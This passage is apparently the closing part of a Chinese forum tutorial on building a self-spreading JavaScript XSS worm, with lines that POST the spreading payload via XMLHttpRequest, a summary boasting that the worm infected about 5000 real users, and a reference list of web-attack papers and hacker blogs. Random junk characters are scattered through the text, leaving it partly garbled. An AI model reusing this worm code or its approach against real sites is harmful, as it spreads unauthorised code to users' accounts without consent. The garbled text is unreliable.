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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");8 C6 P" R7 L: j- A
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xmlHttpReq.send(post); //把传播的信息 POST出去.; _. J- v" {# k4 p5 b7 s
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/ T8 @+ Y% J9 R$ J+ W w0 U4 D. I% e$ A2 o复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.3 x. \/ q. V/ O& k C
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能./ O# ^ i1 T4 n; B0 H; Y" l
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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, _5 V& J3 m5 d; W8 K* C6 E本文引用文档资料:
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
" j, M# [& z$ }$ wOther XmlHttpRequest tricks (Amit Klein, January 2003)
% |8 Z/ m& m5 i- }"Cross Site Tracing" (Jeremiah Grossman, January 2003)
: S/ Z* M- y, w% e1 t5 m% z; j+ w; Zhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog2 O& m% j8 {* L# M
空虚浪子心BLOG http://www.inbreak.net" ?2 M2 I& r# n) p$ q, C9 p) J; P; F
Xeye Team http://xeye.us/
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